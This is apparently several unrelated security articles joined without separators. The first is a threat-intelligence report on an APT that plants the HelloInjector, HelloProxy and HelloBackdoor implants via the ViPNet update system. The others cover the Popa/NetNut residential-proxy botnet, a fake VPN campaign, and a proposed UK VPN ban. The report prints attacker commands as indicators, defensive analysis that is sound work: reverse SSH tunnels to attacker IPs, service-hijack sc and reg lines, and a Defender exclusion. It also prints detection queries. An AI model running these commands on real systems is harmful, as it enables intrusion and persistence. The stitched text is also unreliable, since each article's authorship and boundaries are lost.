UPD 16.07.2026: Added rules to protect companies using our Kaspersky SIEM system, and listed events for developing custom detection rules or conducting threat hunting.

UPD 16.07.2026: Added detection of the malicious activity using Kaspersky Managed Detection and Response.

UPD 16.07.2026: Added detection rules and examples using KEDR Expert.

UPD 16.07.2026: Added detection of the malicious campaign in network traffic using Kaspersky Anti Targeted Attack (KATA) with the NDR module.

UPD 16.07.2026: Updated the list of Indicators of Compromise (IoCs) and TTPs.

We discovered a new APT attack using previously unknown tooling, which started at least in May 2026 and remains active at the time of publication. It is notable in that the implants used during the attack were launched through the ViPNet update system (a software suite for creating secure networks). During our research, we identified attempts at targeted infection of large Russian organizations in the government, energy, transport, education, and logistics sectors, as well as industry. This is not the first time an advanced group has targeted computers connected to ViPNet networks. For example, last year, we discovered a complex backdoor mimicking ViPNet updates.

Persistence via the update system

On one of the analyzed systems, we identified a malicious file named wtsapi32.dll in the directory C:\Program Files (x86)\InfoTeCS\VIPNet Update System, which belongs to the ViPNet suite update system. By placing the file in this directory, the attackers implement the DLL Sideloading technique — the ViPNet update system executable file itcsrvup64.exe, which is launched at OS startup, is susceptible to it. Thus, during this attack, the attackers tried to implement persistence on the system through the ViPNet software update component.

HelloInjector: a loader for additional malicious components

The wtsapi32.dll component is a loader, which we named HelloInjector. Its main goal is to inject its code into the svchost.exe process and launch the malicious payload. After starting, the malware checks the process in the context of which it was launched. If the name of the main process is not svchost.exe, the loader starts iterating through all processes running in the operating system. It looks for a process whose name contains the string svchost, and whose command line contains the string netsvcs. If such a process is found, the loader injects itself into the target process using the NtWriteVirtualMemory and NtCreateThreadEx functions.

After restarting inside the new process, the loader checks the process name again for the presence of the string svchost. Having confirmed the successful check, HelloInjector loads and executes the malicious payload, which is stored in its body in plain text, in memory.

HelloProxy: a tool for traffic proxying and launching new malicious payloads

The malicious payload, which we named HelloProxy, is simultaneously a hidden proxy and a loader for the following modules sent by the command server. It works by intercepting the NtDeviceIoControlFile, closesocket, and shutdown functions. Their interception is carried out using the Microsoft Detours library.

The handlers of the closesocket and shutdown functions prevent the premature closing of sockets used for interaction with the C2. In turn, the handler of the NtDeviceIoControlFile function contains the main malicious logic. Its code implements the interception of two IOCTL codes:

• AFD_RECV (0x12017)
• AFD_GET_TDI_HANDLES (0x12037)

These codes are used during socket operations — their interception allows the malware to hinder security solutions operating in user mode for filtering network connections. Kaspersky security solutions detect such activity and prevent infection attempts at all stages.

The AFD_GET_TDI_HANDLES handler is responsible for socket registration, and the AFD_RECV handler initiates the processing of incoming traffic. It is worth noting that every incoming message that triggered the processing of the AFD_RECV code is logged to the file C:\users\public\tesh4RPC.txt in the format:

threadid: <Thread ID> pid=<PID>\r\n

After installing the interceptors, the malware starts listening on ports 5003 and 5060 in anticipation of the first commands from the C2 server. In order to distinguish the command server traffic from the rest of the traffic, the implant implements a handshake process: it sends two bytes 0x0502 through the socket and expects to receive a message containing the string ASDFASFSAFASDF. After the successful completion of the handshake, the processing of incoming commands continues.

Depending on the received command, there are two execution branches:

• Working as a proxy. The malware accepts strings in the following format:
  

  <ip_addr>:<port>

  
  Afterwards, it creates new sockets and starts forwarding traffic between them.
• Working as a loader. The malware accepts an executable file from the command server, after which it loads it into the memory of its own process and launches it in a separate thread.

During the research, we managed to discover two malicious payloads that were injected into the svchost process, likely as a result of the previously described loader’s operation:

• An implant, which we named HelloExecutor, with the help of which attackers can execute commands on the infected system.
• A module for cleaning ViPNet software log files, which we named HelloCleaner. It allows hiding the attackers’ actions in the system.

We established that the HelloExecutor backdoor was used for reconnaissance in the networks of infected organizations. The following shell commands were executed:

query user
ipconfig /all
ping   8.8.8.8  -n  1
net user /do
net group /do
dir "C:\Program Files (x86)"
dir "C:\Program Files (x86)\infotecs\"
dir "C:\Program Files (x86)\infotecs\ViPNet Administrator"
dir "C:\Program Files (x86)\infotecs\ViPNet Client\Export"
dir "C:\Program Files (x86)\infotecs\ViPNet Client"
dir  "С:\ProgramData\Infotecs\ViPNet Administrator\kc\Export\"
dir  "$appdata\Infotecs\ViPNet Administrator\kc\Export\ Dst for network <номер сети удален>"
dir c:\users\[username]
query  user
dir  C:\Users\Public\music

In these commands, the mention of the directory C:\Users\Public\Music is notable. We established that on infected machines, the attackers used this directory when launching an SSH tunnel from the infected infrastructure to the attackers’ command server (5.39.253[.]206). The attackers launched a renamed executable file of the legitimate PuTTY utility (a client for various remote access protocols):

C:\users\public\music\frontpage.exe -C -N -R 8443:[redacted]:5003 sftp@5.39.253[.]206 -P 3522 -pw [redacted]

HelloBackdoor: a Rust-based backdoor for file system manipulations

In addition to this, a backdoor written in the Rust language, which we named HelloBackdoor, was discovered on one of the infected systems. It accepts connections on port 443, waiting for the string 47c6235b4d2611184 (the second half of the MD5 hash of the string hello\n) to activate the backdoor. This backdoor further accepts the following commands:

!upload — upload a file to the infected machine
!down — download a file from the infected machine
!stop — stop the backdoor’s operation. For this, a BAT file is created and executed with the following content:

@echo off
:loop
if exist <selfpath> (
del /F /Q <selfpath>
if exist <selfpath> goto loop
)
sc stop iplircontrol >nul 
timeout 5 > nul 
sc start iplircontrol > nul 
(goto) 2>nul & del /F /Q %0

If the command text did not match the above list, the command is executed using cmd.exe.

Attribution

During the analysis of one of the wtsapi32.dll file samples, we found an unused string:

GET / HTTP/1.1\r\nHost: news.sina.com\r\nConnection : keep - alive\r\nUpgrade - Insecure - Requests : 1\r\nUser - Agent : Mozilla / 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit / 537.36 (KHTML, like Gecko) Chrome / 145.0.0.0 Safari / 537.36 Edg / 145.0.0.0\r\nAccept : text / html, application / xhtml + xml, application / xml; q = 0.9, image / avif, image / webp, image / apng, */*;q=0.8,application/signed-exchange;v=b3;q=0.7\r\n

It refers to the news portal sina.com, which is popular in China.

In addition, while analyzing the strings in the HelloBackdoor backdoor, we established that during compilation, Rust packages (crates) were downloaded from the mirror mirrors.ustc.edu.cn. Most likely, these strings remained in the malicious files unintentionally. However, the probability of using “false flags” implanted by attackers to complicate the attribution process cannot be excluded. At present, we link this campaign to the activities of an unknown Chinese-speaking APT group with a low degree of confidence.

Recommendations

Given that this is not the first time ViPNet has been used by advanced threat actor to conduct cyberattacks, we recommend paying special attention to the protection of workstations running this software. In particular, network traffic monitoring should be configured on the ports specified in the article for timely detection of signs of compromise.

Countering complex targeted attacks requires a comprehensive approach that combines security technologies operating at various stages of the cyberattack lifecycle. Such a multi-level security model helps not only to detect but also to prevent this category of incidents. This approach is embedded in the architecture of the Kaspersky Next Expert range of solutions, designed to protect businesses from APT-level threats, including attacks similar to the one described in this article.

Kaspersky solutions detect this threat with the following verdicts:

• Trojan.Win32.Agentb.ttoe
• Trojan.Win64.Convagent.gen
• Trojan.Win64.Agent.smgpqx
• HEUR:Trojan.Win64.DllHijacking.gen

Detection by Kaspersky solutions

Kaspersky security solutions, such as Kaspersky Endpoint Detection and Response Expert, successfully detect malicious activity within the described attacks.

One practical method of detection is monitoring renamed PuTTY/Plink binaries rather than relying on the file name: even if the executable is named frontpage.exe, its PE header, version, strings, and hash match the original Plink, which is confirmed by EDR events. Additionally, it is worth paying attention to the specific command line with which the process was launched. The KEDR Expert solution detects this activity using the using_plink_or_putty_for_port_forwarding rule.

It is also important to monitor process injection into svchost.exe originating from the ViPNet update process itcsrvup64.exe, since this component should not legitimately inject code into system processes. Such behavior is a characteristic indicator of HelloInjector activity, which uses a trusted and signed process to mask malicious injection. The KEDR Expert solution detects this activity using the vipnet_load_library_code_injection rule.

Another effective way to detect malicious activity associated with ViPNet is monitoring network traffic. The Kaspersky Anti Targeted Attack (KATA) solution with the NDR module detects this activity using the IDS module and a Suricata rule for HelloBackdoor activity.

The rule is implemented based on the first packet expected by the malware. It accepts TCP connections on port 443, expecting to receive the command 47c6235b4d2611184 (part of the MD5 hash of the string hello\n), which activates the backdoor.

The Kaspersky Managed Detection and Response service detects this attack using the following indicators:

1. Monitoring the creation of the wtsapi32.dll library in the C:\Program Files (x86)\InfoTeCS\VIPNet Update System directory.
2. Monitoring the launch of unusual processes (not typical of ViPNet, lacking an InfoTeCS signature) by the ViPNet update process (Itcsrvup64.exe or Itcsrvup.exe).
3. Creation of library files (.dll) in a directory associated with ViPNet (by default, ViPNet Update System or VIPNET CLIENT) by ViPNet processes.
4. Atypical activity (file creation/process execution) from an instance of the svchost.exe process.
5. Creation of executable files in directories that are writable by default (%ProgramData%, %TEMP%, %SystemRoot%\Temp, C:\Users\Public, music|pictures|videos|contacts|links|libraries).
6. Monitoring the creation of tunnels using ssh or plink processes (identification is performed based on the original PE file name, not the executable file name); the detection is based on the presence of substrings like port:address:port and their variations in the command line.

To protect companies using our Kaspersky SIEM system, the product repository contains rules that help detect such malicious activity.
Reconnaissance of users and groups, as well as network connections using standard Windows utilities, is detected by the following rules:

• R220_02_Collection of user account information using standard Windows tools
• R221_01_Windows group discovery via Windows tools
• R224_02_Remote system discovery via standard Windows tools
• R224_14_Windows reconnaissance activity
• R226_02_Collection of information about network connections using standard Windows tools

Also, when developing your own detection rules or conducting threat hunting, we recommend paying attention to the following events:

• Creation of suspicious files in the ViPNet update directory C:\Program Files (x86)\InfoTeCS\VIPNet Update System:
  

  (DeviceEventClassID = '4663' OR DeviceEventClassID = '11')
  AND match(FileName, '.*\\.(exe|dll)')
  AND FileName ilike '%\InfoTeCS\VIPNet Update System\%'

• Persistence using the DLL Sideloading technique by loading the wtsapi32.dll library into ViPNet update processes Itcsrvup64.exe or Itcsrvup.exe with an invalid signature (Signed not true, SignatureStatus not valid) or a signature that does not contain InfoTeCS vendor details:
  

  DeviceEventClassID = 7
  AND match(DestinationProcessName, '.*\\\\(itcsrvup64|itcsrvup)\\.exe')
  AND FileName ilike '%wtsapi32.dll'
  AND FileName ilike '%\InfoTeCS\VIPNet Update System\%'
  AND ((DeviceCustomNumber1 = 0 AND DeviceCustomNumber2 = 0) OR NOT FlexString2 ilike '%InfoTeCS%')

• Launching non-standard processes from the ViPNet update processes Itcsrvup64.exe or Itcsrvup.exe:
  

  (DeviceEventClassID = '4688' OR DeviceEventClassID = '1')
  AND match(SourceProcessName, '.*\\\\(Itcsrvup64|Itcsrvup)\\.exe')
  AND NOT match(DestinationProcessName, '.*\\\\(wmail|monitor|itcsrvup64)\\.exe')

• Launching the ViPNet update processes Itcsrvup64.exe or Itcsrvup.exe with an invalid signature (Signed not true, SignatureStatus not valid) or a signature that does not contain InfoTeCS vendor details:
  

  DeviceEventClassID = '1'
  AND match(DestinationProcessName, '.*\\\\(Itcsrvup64|Itcsrvup)\\.exe')
  AND ((DeviceCustomNumber1 = 0 AND DeviceCustomNumber2 = 0) OR NOT FlexString2 ilike '%InfoTeCS%')

• Atypical reconnaissance execution from the svchost.exe process:
  

  (DeviceEventClassID = '4688' OR DeviceEventClassID = '1')
  AND SourceProcessName ilike '%svchost.exe'
  AND match(DeviceCustomString4, '.*cmd(.exe)?.*\/c\s+(net\s+(use|group)|sc\s+(query|start|stop)|ping|ipconfig|netstat).*')

• Creation of tunnels using renamed ssh or plink processes:
  

  DeviceEventClassID = '1'
  AND match(OldFileName, '.*(plink|ssh).*')
  AND DeviceCustomString4 match '\d+:\d+\.\d+\.\d+\.\d+:\d+'

For correct functioning of detection rules and threat hunting, it is necessary to ensure that events from Windows systems are received by the Kaspersky SIEM system in full, including events with the following identifiers: Sysmon 1, 7, 11, as well as Security 4688, 4663.

Indicators of Compromise

HelloBackdoor
16C211C96735F2FAE9361B89BD7A31BF
1BFE2B9493128574907A8279256A8BCC
f9eed2f0158dc98e7012fb809152209c

HelloBackdoor Droppers:
6001829A128FE264B4403138700C11A8 – infotecs\vipnet client\puh.exe
EE4FF46DDD8489E81447962F927BC3F6 – infotecs\vipnet client\store.exe

Utility for adding exclusions to Windows Defender:
41c938b3cd7e55d4077e34976929b140

wtsapi32.dll
B103CD21280B4061F88B2BCC51394894
9F5606A0755BC633B9BD7DB6D179C09E
0CFDFFC56F0FA325D0C4D24780B46597

5.39.253[.]206
176.32.34[.]135

Detected TTPs:

T1569.002 — System Services: Service Execution

• "cmd" /c sc start UrBackupClientBackend

T1016 — System Network Configuration Discovery

• "cmd" /c arp -a
• "cmd" /c routeprint

T1049 — System Network Connections Discovery

• "cmd" /c netstat -ano

T1018 — Remote System Discovery

• "cmd" /c ping mail.ru -n 2

T1082 — System Information Discovery

• "cmd" /c systeminfo

T1057 — Process Discovery

• "cmd" /c tasklist

T1007 — System Service Discovery

• "cmd" /c sc query UrBackupClientBackend

T1083 — File and Directory Discovery

• "cmd" /c dir temp*.tmp
• "cmd" /c dir $temp\*.tmp
• "cmd" /c dir amgmt*
• "cmd" /c dir $user\desktop\mRemoteNG-Portable-1.76.20.24669
• "cmd" /c dir $public\libraries\
• "cmd" /c dir d:\WindowsImageBackup

T1005 — Data from Local System

• "cmd" /c type $temp\TS_E9E3.tmp
• "cmd" /c type $temp\Acr6F3D.tmp

T1074.001 — Local Data Staging

• "cmd" /c copy appdata\infotecs\*\APN000B.txt $public\libraries\

T1070.004 — Indicator Removal: File Deletion

• "cmd" /c del $windir\amgmt.dll
• "cmd" /c del $public\libraries\APN000B.txt

T1543.003 — Create or Modify System Process: Windows Service

• sc stop AppMgmt
• sc delete AppMgmt
• sc create AppMgmt binpath= "system32\svchost.exe -k netsvcs" type= share start= auto displayname= "Application Management"
• sc description AppMgmt "Processes installation, removal, and enumeration requests for software deployed through Group Policy. If the service is disabled, users will be unable to install, remove, or enumerate software deployed through Group Policy. If this service is disabled, any services that explicitly depend on it will fail to start."
• sc failure AppMgmt reset= 0 actions= restart/0

T1112 — Modify Registry

• reg add HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt\Parameters /v ServiceDll /t REG_EXPAND_SZ /d $system32\$selfname.dll
• reg add HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt\Parameters /v ServiceMain /t REG_SZ /d ServiceMain

T1036 — Masquerading (service, description, and DLL masquerade as the legitimate Application Management)

• "cmd" /c copy $windir\amgmt* $system32\

T1059.003 — Execution of auxiliary scripts

• "cmd" /c $windir\amgmt.bat
• "cmd" /c $windir\insru.cmd

T1105 — Ingress Tool Transfer

• "cmd" /c $programfiles\7-zip\7z.exe x $windir\Irsoisas.zip -o"$windir

T1562.001 — Impair Defenses: Disable or Modify Tools

• "cmd" /c \$windir\puh.exe add $windir\autoit3.exe white

T1059 / T1218 — Proxy execution via AutoIt

• "cmd" /c \$windir\autoit3.exe \$windir\data.dat

T1572 — Protocol Tunneling / T1090 — Proxy / T1021.004 — Remote Services: SSH

• c:\users\[username]\libraries\pagent.exe -C -N -R 6443:[redacted] root@176.32.34.135 -P 48022 -pw [redacted]

For the past four years, a sprawling Android-based botnet called Popa has forced millions of consumer TV boxes to relay Internet traffic linked to advertising fraud, account takeovers, and mass data-scraping efforts. This week, researchers from multiple security firms concluded that the Popa botnet is linked to NetNut, a “residential proxy” provider operated by the publicly-traded Israeli firm Alarum Technologies Ltd [NASDAQ: ALAR].

Popa is a massive botnet, but by all accounts it is unlike traditional botnets that enlist compromised systems in destructive activities, such as coordinating huge distributed denial-of-service attacks. Rather, Popa appears designed with a singular purpose: Implementing a persistent communications layer capable of registering a device, maintaining long-lived encrypted connections, and opening communication tunnels on demand.

Experts say Popa is a plugin component associated with the Vo1d botnet, a large-scale malware campaign targeting unofficial Android-based TV boxes. These devices, which are marketed under thousands of brand names and model numbers and broadly available for purchase at top e-commerce destinations, all advertise the ability to stream hundreds of subscription video services for an up front one-time fee.

But as the FBI and security industry experts have warned repeatedly, these streaming boxes typically bundle or come pre-installed with software that turns the user’s TV into a “residential proxy” — allowing anyone to route their Internet traffic through that device for as long as it remains plugged into a wall socket and connected to a local network. More concerning, some of these proxy networks do little to stop malicious customers from communicating with and even compromising systems on the local network of the unsuspecting device owner.

The first clues about Popa’s origins came in a 2025 report from the Chinese security company XLAB, which flagged at least nine domain names that were used to register and direct the activities of compromised devices. In a report released today, the security firm Qurium described how it stumbled on some of those same domains while investigating a series of disruptive and expensive data scraping events targeting the company’s hosted organizations in May 2026, in which the scraping activity was scattered evenly across more than 1.4 million Internet addresses.

Qurium said it found several dozen domains used to control Popa that were all hosted in lockstep across multiple Internet addresses over time, including gmslb[.]net, safernetwork[.]io, tera-home[.]com, and ninjatech[.]io. Digging deeper, Qurium discovered gmslb[.]net was referenced in dozens of pirated or modded video content streaming apps, such as CRICFy, DooFlix, Sprozfy, RTS Tv, Flixoid, CyberFlix, Rapid Streamz, TvMob and HD/OceanStreams.

Qurium’s report notes that most of the domains long used to control the Popa botnet were seized or dismantled in July 2025, after Google, HUMAN Security and Trend Micro teamed up to disrupt Badbox 2.0, a botnet that is closely associated with Vo1d. Qurium said that immediately after that disruption, several dozen new domains were registered to serve as controllers for the Popa botnet, but that one of those control domains was not new: ninjatech[.]io.

Ninjatech is a company founded by Moishi Kramer, whose LinkedIn profile says he is vice president of research and development at NetNut. That resume credits Kramer for helping NetNut to build from the “ground up,” “designing the architecture,” and “scaling the NetNut” before the company was acquired by Alarum Technologies. A self-created listing at the job board F6S references Kramer as the sole owner of the Ninjatech domain (a screen capture of it is pictured below).

Responding via email, Mr. Kramer said Ninjatech ceased operations approximately five years ago, when the company sold a software development kit (SDK) called Popa that was designed to use a small portion of a device’s bandwidth and to run only after the host application obtained user consent.

“That code was sold and licensed to third parties including resellers years ago,” Kramer said. “Once software is distributed that way, the original developer has no control over how others later modify, rebrand, or deploy it.”

Kramer said neither he nor NetNut builds, operates or maintains the infrastructure being described as Popa, nor does he control the Ninjatech domain.

“I didn’t register the June 2025 domains you mention, and I don’t know who did,” he continued. “I have no control over, or visibility into, that infrastructure. I can only tell you it isn’t operated by me or by NetNut.”

But in a separate Popa research report released today, the proxy-tracking company Synthient said a recent analysis of the Popa SDK revealed outbound traffic clearly associated with NetNut.

“The research team assesses with high confidence that devices running Popa forward traffic from Netnut clients,” Synthient wrote. “This proves without a shadow of a doubt that Popa actively continues to be used by NetNut as part of their proxy pool.”

Alarum Technologies, NetNut’s Tel Aviv-based parent company, said the reports by Synthient and Qurium contained “demonstrably inaccurate assertions and flawed deductions rather than verified facts.” Alarum shared a statement saying they reject the basic characterization of the SDKs and technologies discussed in the reports as a “botnet.”

“The SDKs at issue are designed to facilitate bandwidth-sharing functionality and do not transform user devices into malware-controlled systems or otherwise compromise the devices on which they operate,” the statement reads. “Netnut operates a commercial proxy network and maintains policies, procedures, and technological measures designed to promote lawful and responsible use of its services.”

Alarum said NetNut places “significant emphasis on appropriate notice and consent mechanisms, conducts customer due diligence, monitors for potential misuse, and takes steps intended to detect and mitigate suspicious or unauthorized activity.”

“This method of operation is supported both by internal procedures and policies, including performing KYC checks and additional due diligence of NetNut’s customers, as well as employing various technological measures, designed to assist in identifying and addressing suspected misuse of the network,” their statement continued.

However, in a report released on June 8, the proxy tracking service Spur asserted that NetNut does not require corporate verification or meaningful “know your customer” procedures before allowing customers to purchase proxy access.

“An individual can sign up, pay, and route traffic through partner address space, including space belonging to institutions whose users never opted in,” Spur wrote. “The ‘verified corporations only’ claim is simply marketing for bandwidth sellers, not an access control on who actually uses the proxies.”

“Nor is NetNut the only front door,” Spur continued. “A number of downstream white labelers and resellers repackage the same ISP proxy pool under their own brands. These outlets typically perform no KYC at all, less scrutiny than NetNut itself, who at the very least might assign an account manager to potential users. Anyone who knows where to look can buy access through a reseller with nothing more than a burner email address and $5 in crypto.”

Synthient found that although the most recent builds of Popa (as of three months ago) have added the ability to ask the user for consent before installing proxy components, not all variants or previous versions of Popa contain this functionality.

“Of the over 20 genuine Popa publishers analyzed, none of them were observed asking for user consent,” Sythient wrote.

THE PREVALENCE OF POPA

Chris Formosa is senior lead information security engineer for Black Lotus Labs, a division of the Internet backbone carrier Lumen Technologies.

“What especially makes Popa dangerous is just how widely used NetNut is for reselling and sharing,” Formosa said, explaining that many other proxy services simply resell NetNut proxies rather than building out their own far-flung proxy networks. “So these Popa IPs appear in tons of different services all over the ecosystem, which makes it one of the most problematic and dangerous proxy botnets on the market currently.”

Formosa said the Popa botnet averages between 1.5 million to 2.5 million distinct IP addresses each day, relying on between 250 and 300 Internet addresses that are used to direct its activities.

“That’s why Popa is so dangerous,” Formosa said. “It may not be the largest botnet we have seen, but it is spread all over the industry, making its power very amplified.”

Formosa said while that makes Popa one of the larger botnets out there today, its numbers pale in comparison to those previously boasted by IPIDEA, a China-based proxy provider that until recently operated a daily pool of nearly 10 million devices that they resold as proxies to anyone. In January 2026, Synthient published research showing that multiple new large DDoS botnets had grown rapidly by tunneling through IPIDEA proxies into the local networks of unsuspecting TV box owners and infecting other Android-based devices behind the user’s firewall.

IPIDEA is based largely on SDKs used to view pirated streaming content on a vast number of TV box devices, but the service’s numbers have dwindled since January, when Google and industry partners took legal action to seize domain names that IPIDEA used to control devices and proxy traffic through them.

Jérôme Meyer, a security researcher at Nokia Deepfield, said the total population of devices participating in the Popa botnet may be far higher than Lumen’s estimates. Meyer told KrebsOnSecurity that Nokia is monitoring 26 of at least 359 known relay nodes for the botnet, and estimates that each relay node handles between 35,000 and 60,000 clients simultaneously.

“On the relay node subset I am looking at (26 of them), 750,000 unique sources in 24 hours,” Meyer wrote in response to questions.

Nokia Deepfield released its own report today on RoboVPN, a VPN app tied to the Vo1d botnet’s Popa plugin that Qurium attributes to NetNut/Alarum Technologies.

THE SYMBIOSIS OF PROXIES AND DATA SCRAPING

Experts say many of the world’s largest proxy providers have updated their public-facing branding to highlight their utility for training AI platforms, implying it is a primary use case for their residential proxies. That’s because AI services tend to rely on constantly mass-scraping the Internet for new text, images and video content that can be used to train large language models (LLMs).

“AI companies depend on web-scraped content: for pre-training, for retrieval, for agent grounding, for search,” reads a report this month from Include Security that examines the prevalence of proxy SDKs in smart TV apps. “But the modern web isn’t scrapeable from a datacenter. Cloudflare, DataDome, HUMAN, among others throttle or block requests from known cloud IPs. The workaround is residential proxies. A scraping job routed through a Comcast or T-Mobile subscriber’s connection arrives at the target site from an IP that belongs to a paying residential customer.”

This non-stop content scraping has spawned more than 70 copyright infringement lawsuits against major tech companies that have acknowledged large-scale data scraping as a major source of the “brains” behind their commercial AI offerings. Ironically, much of that scraping is being aided by proxy services that are intimately tied to unofficial Android TV boxes and associated SDKs whose stated purpose is streaming pirated content.

The scraping activity has become so aggressive that it often overwhelms the targeted websites, preventing them from being reachable by legitimate visitors. In many reported cases, nonprofit organizations, libraries and universities have complained of constantly battling to keep their services online in the face of relentless data-scraping firms hiding behind residential proxy services.

A survey conducted last year by the Confederation of Open Access Repositories (COAR) found while some content scraping bots are rather innocuous, “others are sufficiently aggressive that they are increasingly causing service disruptions in repositories and other scholarly communications infrastructures.” More than 90 percent of survey respondents indicated their repository is encountering aggressive bots, usually more than once a week, and often leading to slow downs and service outages.

“Automated web scraping is nothing new, and has been the key technology underlying search engines such as Google for over 30 years,” wrote Brendan O’Connell, platform manager at the Directory of Open Access Journals (DOAJ), a free, community-curated index of peer-reviewed academic journals. “However, the current investor-fueled AI startup craze means there are now thousands of well-funded companies developing and deploying their own scraping tools to train AI models, alongside existing major players like OpenAI and Google.”

DON’T TOUCH THAT DIAL!

Across the United States, local communities are pushing back against the proliferation of new data centers aimed primarily at improving the capabilities of AI. But security experts say the general public remains largely unaware that using one of these unsanctioned Android TV boxes means their “smart TV” is almost certainly using a significant amount of bandwidth each month to help train modern AI models.

Even households without these sketchy TV boxes can still have their smart TVs turned into residential proxy nodes, just by downloading one of thousands of apps made available on Samsung and LG smart TVs. Spur said it recently scraped the LG and Samsung app stores and found that each had approximately 3,000 apps available for download. Many of these apps are simple games or utilities that state in the fine print that the user’s Internet connection will be used to download data and that they can opt out at any time.

Spur said it found that more than 42 percent of apps available for download via the webOS operating system on LG smart TVs include SDKs that turn one’s television into an always-on residential proxy node. More than a quarter of the apps made for Samsung’s Tizen operating system had similar residential proxy components, Spur found.

Experts say it’s questionable whether TV apps with proxy SDKs can obtain meaningful consent from users for installing an always-on proxy connection, particularly when anyone in a household — including children — can effectively opt the family TV into a residential proxy network just by installing a simple game or app.

“Privacy-policy disclosure is the wrong control surface for a TV,” Include Security wrote. “It is hard to scroll through a legal document navigated by arrow keys on a remote, and the in-app consent dialog doesn’t convey that a paying customer is about to route their scraping traffic through the user’s home internet.”

Spur’s head of research Sean Simmons told KrebsOnSecurity that most people do not have a working mental model for what it means to sell access to their residential IP address, no matter what device they are using.

“And on a TV, the gap is even wider,” Simmons said. “A one-time prompt navigated with a remote can disappear into the setup flow, while the app keeps monetizing the connection long after anyone remembers what they accepted.”

Simmons said LG and Samsung should follow the lead of other TV platforms that have already drawn a line against residential proxy providers, pointing to policies by Amazon that prohibit apps facilitating proxy services for third parties. Likewise the TV streaming device maker Roku reportedly now bars developers from using proxy SDKs and has removed apps that bundled them.

Apps that turn one’s device into a residential proxy node are not limited to smart TVs and no-name streaming boxes, of course. As noted by the security firm Infoblox, mobile app developers can embed SDKs provided by the residential proxy networks into their products to monetize their software, allowing them to receive a small amount of money on each installation.

The result, Infoblox said, is that devices are frequently enrolled without the owner’s knowledge, typically through free applications such as VPNs, streaming apps, screensavers and “productivity” apps such as PDF viewers and break reminders.

All too often, these proxy services are beaconing out from employee devices brought into the workplace, Infoblox found. In a blog post earlier this month, Infoblox said it discovered that fully 65% of its customer base was querying one or more residential proxy related domains.

“We saw steady growth in these queries in 2025, with a 25% increase over the year to over 500 billion per month,” Infoblox wrote. “Over 90% of our pharmaceutical and food & beverage customers have queried residential proxy indicators. Perhaps even more concerning is that over 60% of government and banking customers have as well.”

Infoblox researchers Nick Sundvall and David Brunsdon warned that with residential proxies in the corporate environment, external access is granted to an organization’s IP space.

“If threat actors were to abuse the residential proxy to attack a third party, the third party’s incident response would, correctly, identify your residential proxy as the source,” they wrote. “Untangling that, by proving that you were the conduit and not the threat actor, costs time, creates legal exposure, and can damage your reputation. The stunning prevalence of these services within customer environments warrants attention from both network defenders and policy makers who should consider how the risks posed by residential proxies could be impacting their security posture.”

Storm-2561 is distributing fake VPN clients through SEO poisoning, deploying trojans, and stealing login information.

The post Threat Actor Targeting VPN Users in New Credential Theft Campaign appeared first on SecurityWeek.

The idea of a “Great British Firewall” makes for a catchy headline, but it would be riddled with holes and cause huge problems.

The Guardian reports that the GCHQ (Government Communications Headquarters), a UK intelligence, security, and cyber agency, is exploring the idea of a British firewall offering protection against malicious hackers. It falls within its remit, but one of the measures reportedly discussed—banning VPN software—raises practical and technical questions.

Here’s what you actually need to know, and why you shouldn’t panic about your VPN just yet.

• There are no current plans on the statute books to ban VPNs for everyone. Ministers and regulators explicitly acknowledge VPNs as lawful services with legitimate uses.
• The current political focus is on “online safety”, especially kids accessing porn and harmful content, and how VPNs can undermine the Online Safety Act’s age‑assurance and filtering regime.
• The latest move is an online‑safety consultation that explicitly mentions “options to age-restrict or limit children’s VPN use where it undermines safety protections”, not an outright nationwide ban.

So what may happen is tighter controls around minors, and perhaps pressure on app stores and platforms, rather than a blanket prohibition for adults.

Options

Technically speaking, these are some of the measures available to address VPNs bypassing geo-blocking and local legislation.

• App‑store and download pressure: Require Apple/Google to hide or age‑gate VPN apps for UK accounts, or block listing of some consumer VPNs. This raises friction for non‑technical users but is trivial to route around (sideloading where possible, non‑UK stores, manual configs).
• Commercial provider lists: Buy accounts at popular VPNs, enumerate exit IP ranges, and require ISPs or certain sites (e.g. porn sites) to block those IPs. This can catch a large chunk of mainstream VPN traffic but is high‑maintenance and easy to evade with IP rotation, residential proxies, self‑hosted VPNs, and lesser‑known services.
• Targeted site‑level blocking of VPNs: Require certain categories of sites (e.g. adult sites) to reject traffic that appears to come from VPN IPs, an idea already floated by some experts as more likely than an outright technology ban. That still leaves VPNs usable for everything else, including general browsing and work.
• Age‑based device/network controls: Mandate school networks, child‑oriented devices, or parental control routers to block known VPN endpoints and app traffic, as media regulator Ofcom and others have suggested may be possible at the home‑router level. Again, this targets minors rather than adults and is only as strong as the weakest network they connect to (a friend’s Wi‑Fi, mobile hotspot, etc.).

All of these are “making it harder” tactics rather than a hard technical kill switch.

Why a watertight VPN ban is essentially impossible

To comprehensively block VPNs, the government would need to require internet providers to inspect traffic, restrict apps from app stores, and attempt to cut off access to thousands of VPN servers worldwide. That would be a massive, expensive, and deeply complicated undertaking—and it still wouldn’t work.

Problem 1: VPNs are basically invisible

Modern VPNs are designed to look very similar to normal web browsing. When you load a website over HTTPS (the padlock in your browser) and when you connect to a VPN, the traffic flowing through your internet connection looks almost identical. Reliably telling them apart is a bit like trying to spot which cars on a motorway are taxis versus private vehicles based solely on their tire tread patterns at motorway speed, for every car, in real time. You’d end up accidentally blocking huge amounts of perfectly ordinary internet traffic in the attempt.

Problem 2: Too many legitimate users depend on VPNs

VPNs aren’t just for privacy-conscious consumers. They’re how millions of people securely connect to their workplace from home. The NHS (the UK’s National Health Service) uses them for remote access. Journalists use them to protect sources. Researchers use them to access academic resources. Any serious enforcement effort would have to grapple with the risk of collateral damage to businesses and public services.

Problem 3: The ban would be trivially easy to bypass

Even if the government successfully blocked every major commercial VPN app and service, technically skilled users could simply rent a cheap server anywhere in the world and set up their own private tunnel in under ten minutes. There are also tools designed to evade exactly this kind of blocking, disguising encrypted traffic as ordinary web activity.

We know this because Russia has been trying to block VPNs for years, using the full weight of state enforcement behind it. But VPN usage in Russia has surged, not declined. Blocked services pop up under new names and addresses and new tools emerge overnight. This track record suggests that long-term, comprehensive suppression is difficult, even with aggressive powers of enforcement.

What does this actually mean for UK citizens?

The government can probably make consumer VPN use slightly more inconvenient, removing apps from UK app stores, for instance, or creating legal grey areas for certain uses. But a genuine, technical ban on VPN software and encrypted connections is not realistically achievable without causing serious collateral damage to the UK’s digital economy and the millions of people who depend on this technology for entirely legitimate reasons.

